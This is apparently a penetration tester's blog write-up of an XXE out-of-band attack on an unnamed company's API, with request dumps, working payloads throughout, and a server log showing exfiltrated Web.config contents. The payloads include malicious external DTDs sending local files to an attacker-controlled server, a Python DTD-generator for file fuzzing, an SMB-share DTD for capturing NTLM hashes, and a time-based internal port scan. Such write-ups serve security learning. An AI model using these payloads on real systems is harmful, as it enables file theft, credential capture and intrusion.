
I am writing this post because of a recent chain of cool vulnerabilities I got the opportuninty to exploit during a pentest.
For security reasons, I am not going to reveal the name of the company, although the bugs have been mitigated. The vulnerability got to compromise an API through an XXE OOB vulnerability, from where I could read local files and also exfiltrate valuable data, such as domain name, username and NTLM hash. Finally, I sorta got access to a port scan just to look for internal ports.
Basic PoC
Let’s take a look on the original request from the page, intercepted with burp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
POST blah/blah HTTP/1.1
Content-Type: application/json
User-Agent: PostmanRuntime/7.26.3
Accept: */*
Postman-Token: XX
Host: XXX.YYY.ZZ
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 3292
{
"device": {
"brand": "xx",
"model": "xx",
"os": "xx",
"deviceType": 1,
"deviceOs": 1,
"userInformation": {
"phoneNumber": "xxx",
"owner": {
"firstName": "peep ",
"surName": null,
"lastName": "test "
},
"drivers": [
{
"firstName": "peep ",
"surName": null,
"lastName": "test "
}
],
},
"deviceAttributes": [
{
"key": "LANGUAGE_CODE",
"value": "es"
}
],
"kyrosDeviceId": null
},
"incidentType": 2,
"xmlDisplay": null,
"xmlCase": "<?xml version="1.0" encoding="UTF-8"?>
<xmlCase version="1.0">
<phone>
<imei />
</phone>
<ResponseQuestions>
<Questions>
<Question>
<Answers>
<Answer>
<AnswerId>
1</AnswerId>
<TextAnswer>
<Text>
<LanguageCode>
1</LanguageCode>
<Message>
Avería</Message>
</Text>
</TextAnswer>
<Value>
100</Value>
</Answer>
</Answers>
<Order>
1</Order>
<QuestionId>
1</QuestionId>
<TextQuestion>
<Text>
<LanguageCode>
1</LanguageCode>
<Message>
¿Qué ha sucedido?</Message>
</Text>
</TextQuestion>
</Question>
</Questions>
<ReferenceId>
ITPOLICY_0001</ReferenceId>
</ResponseQuestions>
<userdescription>
<userdata>
<language code="es">
<field name="NIF" attributeid="3">
xx</field>
<field name="Tipo Vehiculo" attributeid="4">
Moto</field>
<field name="Marca" attributeid="5">
Bmw </field>
<field name="Modelo" attributeid="6">
</field>
<field name="Matrícula" attributeid="7">
xx</field>
<field name="Combustible" attributeid="9">
</field>
</language>
</userdata>
</userdescription>
</xmlCase>",
"userProfile": null
First thing I thought when I saw the request was the XML parameters of the data section (in fact, it was the only thing I saw interesting). If we HTML-decode it we have the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?xml version="1.0" encoding="UTF-8"?>
<xmlCase version="1.0">
<phone>
<imei />
</phone>
<ResponseQuestions>
<Questions>
<Question>
<Answers>
<Answer>
<AnswerId>1</AnswerId>
<TextAnswer>
<Text>
<LanguageCode>1</LanguageCode>
<Message>Avería</Message>
</Text>
</TextAnswer>
<Value>100</Value>
</Answer>
</Answers>
<Order>1</Order>
<QuestionId>1</QuestionId>
<TextQuestion>
<Text>
<LanguageCode>1</LanguageCode>
<Message>¿Qué ha sucedido?</Message>
</Text>
</TextQuestion>
</Question>
</Questions>
<ReferenceId>ITPOLICY_0001</ReferenceId>
</ResponseQuestions>
<userdescription>
<userdata>
<language code="es">
<field name="NIF" attributeid="3">xx</field>
<field name="Tipo Vehiculo" attributeid="4">Moto</field>
<field name="Marca" attributeid="5">Bmw </field>
<field name="Modelo" attributeid="6"/>
<field name="Matrícula" attributeid="7">xx</field>
<field name="Combustible" attributeid="9"/>
</language>
</userdata>
</userdescription>
</xmlCase>
I tried a basic Proof of concept with Burp Collaborator:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://abc.burpcollaborator.net">]><xmlCase version="1.0">
<phone>
<imei />
</phone>
<ResponseQuestions>
<Questions>
<Question>
<Answers>
<Answer>
<AnswerId>1</AnswerId>
<TextAnswer>
<Text>
<LanguageCode>1</LanguageCode>
<Message>Avería</Message>
</Text>
</TextAnswer>
<Value>100</Value>
</Answer>
</Answers>
<Order>1</Order>
<QuestionId>1</QuestionId>
<TextQuestion>
<Text>
<LanguageCode>1</LanguageCode>
<Message>¿Qué ha sucedido?</Message>
</Text>
</TextQuestion>
</Question>
</Questions>
<ReferenceId>ITPOLICY_0001</ReferenceId>
</ResponseQuestions>
<userdescription>
<userdata>
<language code="es">
<field name="NIF" attributeid="3">xx</field>
<field name="Tipo Vehiculo" attributeid="4">Moto</field>
<field name="Marca" attributeid="5">Bmw </field>
<field name="Modelo" attributeid="6"/>
<field name="Matrícula" attributeid="7">xx</field>
<field name="Combustible" attributeid="9"/>
</language>
</userdata>
</userdescription>
</xmlCase>
Looks like I got profit :D:
However, the response from the server shows nothing to me, so it is time to do a XXE out of band.
Let’s retrieve files!
Now I need to adapt my payload to make it connect to a server where I have control. From there, I need to publish a malicious DTD in order to test LFI. The payload will be:
1
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://xx.xx.xx.xx:80/evil.dtd"> %xxe;]
And the external DTD that will be invoked will be something like this:
1
2
3
4
5
6
7
<!ENTITY % file SYSTEM "file:///c:/Inetpub/wwwroot/Web.config">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % file "<!ENTITY fileContents '%start;%file;%end;'>">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://xx.xx.xx.xx:80/%file;'>">
%eval;
%exfiltrate;
Notice that I tried to retrieve a windows file. This is because in the header responses of the webapp, I saw it was running a IIS. Okay, so now we just need to make the request while hosting a rogue web server in port 80 and…
1
2
3
xx.xx.xx.xx - - [20/Aug/2020 18:01:59] "GET /evil.dtd HTTP/1.1" 200 -
xx.xx.xx.xx - - [20/Aug/2020 18:01:59] code 404, message File not found
xx.xx.xx.xx - - [20/Aug/2020 18:01:59] "GET /%0D%0A%3Cconfiguration%3E%0D%0A%20%20%20%20%3Csystem.webServer%3E%0D%0A%20%20%20%20%20%20%20%20%3Csecurity%3E%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cauthorization%3E%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cadd%20accessType=%22Allow%22%20users=%22*%22%20/%3E%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C/authorization%3E%0D%0A%20%20%20%20%20%20%20%20%3C/security%3E%0D%0A%20%20%20%20%3C/system.webServer%3E%0D%0A%3C/configuration%3E HTTP/1.1" 404
Yay we got LFI! Now I needed to look for more interesting files. I thought about using intruder to fuzz for windows/IIS interesting files. However, I realized that the file name was in the DTD, not in the request… I though about some dirty solution then lol.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
import sys
i=0
with open('file.txt') as fp:
line = fp.readline().strip().lower()
while line:
f = open("evil" + str(i) + ".dtd", "a")
f.write("<!ENTITY % file SYSTEM \"file:///" + line + "\">\n")
f.write("<!ENTITY % start \"<![CDATA[\">\n")
f.write("<!ENTITY % end \"]]>\">\n")
f.write("<!ENTITY % file \"<!ENTITY fileContents '%start;%file;%end;'>\">\n")
f.write("<!ENTITY % eval \"<!ENTITY % exfiltrate SYSTEM 'http:/xx.xx.xx.xx/%file;'>\">\n")
f.write("%eval;\n")
f.write("%exfiltrate;\n")
f.close()
line = fp.readline().strip().lower()
i+=1
This script basically creates as many DTD files as lines in the wordlist I used to fuzz xD. Now it is only neccesary to run a Burp Intruder with evil0.dtd to evil[number of words in the wordlist, in my case 389].dtd.
After some bruteforce time (the API takes its time to response…), I only got a couple more files but nothing interesting… :( How could I escalate the vulnerability now? After some time reading, I found this gem: https://techblog.mediaservice.net/2018/02/from-xml-external-entity-to-ntlm-domain-hashes/
XXE to steal NTLM hash
My external DTD will look like this:
1
2
3
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'file://xx.xx.xx.xx/blah;'>">
%eval;
%exfiltrate;
What does it do? It basically forces the victim to connect to a SMB share exposed. This requires however a very bad network configuration that allows outbound traffic to unauthenticated rogue SMB exposed shares (spoiler: this is the case lol): Now I just need to host a SMB capture server using metasploit:
Bingo!
This is a win :D. In order to use this hash, we could use various methods:
- Crack it and find an exposed RDP service of the server.
- Have access to the internal network and use SMBRelay+Responder to get a shell.
- Find an exposed Exchange server and PtH.
None of them were available to me unfortunately, but I learnt a lot :D.
Bonus track: Port scanner!
As an extra, I used the DTD to make a port sweep
(poorly useful, as this service was slow af) with a XXE OoB time-based.
1
2
3
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://127.0.0.1:XX'>">
%eval;
%exfiltrate;
Where XX is the number of the port to test. If the port is open, it will typically take different time in the response than if it is closed. Although this worked in my case, it was not very useful because of two things:
- Requests took ~90s of response time, which is not good for bruteforcing open ports.
- I did not have access to any of these services.
I hope you liked it! :)